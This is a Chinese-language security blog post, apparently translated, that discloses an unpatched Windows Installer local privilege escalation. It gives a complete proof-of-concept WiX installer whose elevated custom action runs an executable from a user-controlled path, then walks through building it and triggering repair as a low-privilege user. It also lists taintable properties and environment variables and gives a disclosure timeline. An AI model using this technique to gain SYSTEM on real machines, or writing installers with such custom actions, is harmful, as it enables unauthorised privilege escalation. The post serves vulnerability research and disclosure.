Windows Installer自定义动作的利用与权限提升漏洞深度解析

本文详细分析了Windows Installer自定义动作中的未修复漏洞,攻击者可利用环境变量注入在系统修复过程中以SYSTEM权限执行任意代码,实现本地权限提升。文章包含PoC示例、受影响变量列表及完整时间线。

Windows Installer:利用自定义动作

一年前,我发布了关于Windows Installer服务的研究。那篇文章详细解释了MSI修复过程如何在提升的上下文中执行,但缺乏模拟可能导致任意文件删除和类似问题。微软承认了该问题(作为CVE-2023-21800),但从未直接修复。相反,引入了重定向守卫来缓解msiexec进程上下文中的所有符号链接攻击。当时,我对这个解决方案并不特别满意,但找不到任何绕过方法。

重定向守卫的运行完全符合预期,因此我花了一些时间从其他角度攻击Windows Installer服务。发现了一些漏洞(CVE-2023-32016),但我始终认为微软处理模拟问题的方式并不完全正确。这种未修复的行为在另一轮研究中变得非常有用。

本文描述了影响最新Windows 11版本的未修补漏洞。阐述了如何利用此问题提升本地用户权限。该漏洞提交在处理半年后被关闭,标记为无法复现。我将演示其他人如何复现此问题。

自定义动作

在Windows Installer世界中,自定义动作是用户定义的动作,用于扩展安装过程的功能。在Windows Installer内置功能不足的情况下,自定义动作是必要的。例如,如果应用程序需要根据用户环境动态设置特定的注册表键,可以使用自定义动作来实现。另一个常见用例是当安装程序需要执行复杂任务时,例如自定义验证或与标准MSI操作无法处理的其他软件组件交互。

总体而言,自定义动作可以通过不同的方式实现:

  • 编译为使用暴露的C/C++ API的自定义DLL
  • WSX文件中的内联VBScript或JScript片段
  • 在WSX文件中显式调用系统命令

所有上述方法都会受到影响,但为了简单起见,我们将重点关注最后一种类型。

让我们看一个包含一些自定义动作的示例WSX文件(poc.wsx):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?xml version="1.0" encoding="utf-8"?>
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
    <Product Id="{12345678-9259-4E29-91EA-8F8646930000}" Language="1033" Manufacturer="YourCompany" Name="HelloInstaller" UpgradeCode="{12345678-9259-4E29-91EA-8F8646930001}" Version="1.0.0.0">
        <Package Comments="This installer database contains the logic and data required to install HelloInstaller." Compressed="yes" Description="HelloInstaller" InstallerVersion="200" Languages="1033" Manufacturer="YourCompany" Platform="x86" ReadOnly="no" />

        <CustomAction Id="SetRunCommand" Property="RunCommand" Value="&quot;[%USERPROFILE]\test.exe&quot;" Execute="immediate" />
        <CustomAction Id="RunCommand" BinaryKey="WixCA" DllEntry="WixQuietExec64" Execute="commit" Return="ignore" Impersonate="no" />
        <Directory Id="TARGETDIR" Name="SourceDir">
            <Directory Id="ProgramFilesFolder">
                <Directory Id="INSTALLFOLDER" Name="HelloInstaller" ShortName="krp6fjyg">
                    <Component Id="ApplicationShortcut" Guid="{12345678-9259-4E29-91EA-8F8646930002}" KeyPath="yes">
                        <CreateFolder Directory="INSTALLFOLDER" />
                    </Component>
                </Directory>
            </Directory>
        </Directory>
        <Property Id="ALLUSERS" Value="1" />
        <Feature Id="ProductFeature" Level="1" Title="Main Feature">
            <ComponentRef Id="ApplicationShortcut" />
        </Feature>
        <MajorUpgrade DowngradeErrorMessage="A newer version of [ProductName] is already installed." Schedule="afterInstallValidate" />

        <InstallExecuteSequence>
            <Custom Action="SetRunCommand" After="InstallInitialize">1</Custom>
            <Custom Action="RunCommand" After="SetRunCommand">1</Custom>
        </InstallExecuteSequence>
    </Product>
</Wix>

这看起来是一个完全正常的WSX文件。它定义了InstallExecuteSequence,由两个自定义动作组成。SetRunCommand被安排在InstallInitialize事件之后立即运行。然后,RunCommand应该在SetRunCommand完成后立即启动。

SetRunCommand动作只是设置RunCommand属性的值。字符串[%USERPROFILE]将扩展为当前用户配置文件目录的路径。这是通过安装程序在运行时检索USERPROFILE环境变量的值并将[%USERPROFILE]替换为该值来实现的。

第二个动作,也称为RunCommand,使用RunCommand属性并通过调用WixQuietExec64方法执行它,这是一种安静安全(不产生任何可见窗口)执行命令的好方法。Impersonate="no"选项使命令能够以LocalSystem的完整权限执行。

在健康的系统上,任何较低特权的用户都无法访问管理员的USERPROFILE目录。RunCommand执行的任何文件都不应直接由非特权用户控制。

我们介绍了一个相当简单的示例。实现预期的自定义动作实际上相当复杂。可能会犯很多错误。这些动作可能依赖不受信任的资源,它们可以产生可劫持的控制台实例,或者以超过必要的权限运行。这些危险的错误可能会在未来的博客文章中介绍。

测试安装程序

借助手头的WiX工具集,我们可以将XML转换为MSI文件。请注意,我们需要启用额外的WixUtilExtension才能使用WixCA:

1
2
candle .\poc.wxs 
light .\poc.wixobj -ext WixUtilExtension.dll

poc.msi文件应在当前目录中创建。

根据我们上面的WSX文件,一旦安装初始化,我们的自定义动作应该运行"[%USERPROFILE]\test.exe"文件。我们可以设置一个ProcMon过滤器来查找该事件。请记住还要启用“Integrity”列。

我们可以使用任何管理员帐户(这里是Almighty用户)安装应用程序:

1
msiexec /i C:\path\to\poc.msi

ProcMon应记录CreateFile事件。文件不存在,因此尝试了其他文件扩展名。

通过运行安装修复过程可以重现相同的动作序列。该命令可以指向特定的C:/Windows/Installer/*.msi文件或使用我们在WSX文件中定义的GUID:

1
msiexec /fa {12345678-9259-4E29-91EA-8F8646930000}

如果Almighty用户触发了修复过程,结果应该完全相同。

另一方面,请注意如果另一个非特权用户(lowpriv)启动了安装修复会发生什么:

是用户的环境设置了可执行路径,但命令仍然以系统级完整性执行,没有任何用户模拟!这导致了直接的权限提升。

作为最终确认,lowpriv用户会在C:/Users/lowpriv/test.exe路径下放置一个“将我添加为管理员”类型的负载。安装过程在test.exe运行期间不会完成,不过处理该行为是相当简单的。

可选地,将/L*V log.txt添加到修复命令中以获取详细日志。受污染的属性应该很明显:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
MSI (s) (98:B4) [02:01:33:733]: Machine policy value 'AlwaysInstallElevated' is 0
MSI (s) (98:B4) [02:01:33:733]: User policy value 'AlwaysInstallElevated' is 0
...
Action start 2:01:33: InstallInitialize.
MSI (s) (98:B4) [02:01:33:739]: Doing action: SetRunCommand
MSI (s) (98:B4) [02:01:33:739]: Note: 1: 2205 2:  3: ActionText
Action ended 2:01:33: InstallInitialize. Return value 1.
MSI (s) (98:B4) [02:01:33:740]: PROPERTY CHANGE: Adding RunCommand property. Its value is '"C:\Users\lowpriv\test.exe"'.
Action start 2:01:33: SetRunCommand.
MSI (s) (98:B4) [02:01:33:740]: Doing action: RunCommand
MSI (s) (98:B4) [02:01:33:740]: Note: 1: 2205 2:  3: ActionText
Action ended 2:01:33: SetRunCommand. Return value 1.

受污染的变量

msiexec.exe中的修复操作可以由标准用户启动,同时自动提升其权限以执行某些操作,包括MSI文件中定义的各种自定义动作。值得注意的是,并非所有自定义动作都以提升的权限执行。具体来说,一个动作必须明确标记为Impersonate="no",安排在InstallExecuteSequenceInstallFinalize事件之间,并使用commitrollbackdeferred作为执行类型才能以提升的权限运行。

未来,我们可能会发布更多材料,包括用于查找满足上述条件的受影响安装程序的工具集。

提升的自定义动作可以使用环境变量以及Windows Installer属性。我观察到以下属性可以被调用修复过程的标准用户“污染”:

  • “AdminToolsFolder”
  • “AppDataFolder”
  • “DesktopFolder”
  • “FavoritesFolder”
  • “LocalAppDataFolder”
  • “MyPicturesFolder”
  • “NetHoodFolder”
  • “PersonalFolder”
  • “PrintHoodFolder”
  • “ProgramMenuFolder”
  • “RecentFolder”
  • “SendToFolder”
  • “StartMenuFolder”
  • “StartupFolder”
  • “TempFolder”
  • “TemplateFolder”

此外,软件安装程序通常使用以下环境变量(此列表并非详尽无遗):

  • “APPDATA”
  • “HomePath”
  • “LOCALAPPDATA”
  • “TEMP”
  • “TMP”(同时,一个单独的补丁引入了SystemTemp概念并修复了这两个变量。感谢@pfiatde指出这一点!)
  • “USERPROFILE”

这些值通常用于构建自定义路径或作为系统命令参数。受污染的值可以改变命令的意图,可能导致命令注入漏洞。

请注意,所述问题本身无法被利用。使用易受攻击的自定义动作的MSI文件必须已经安装在机器上。然而,这个问题对于执行本地权限提升的渗透测试人员或作为持久化机制可能很有用。

披露时间线

此问题的详细信息于2023年12月1日报告给微软安全响应中心。该漏洞在报告时最新的Windows Insider Preview版本上得到确认:26002.1000.rs_prerelease.231118-1559。

披露时间线 状态
2023年12月1日 漏洞报告给微软
2024年2月9日 请求提供额外细节
2024年2月9日 提供了额外细节
2024年5月9日 问题被关闭,标记为无法复现:“我们完成了评估,因为我们无法使用提供的复现步骤复现该问题。我们预计不会对该案例采取进一步行动,我们将继续结案。”

我们要求微软重新打开该工单,并在发布前将博客文章草稿分享给了微软。

截至目前,该问题仍未修复。我们确认它影响当前最新的Windows Insider Preview版本10.0.25120.751。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计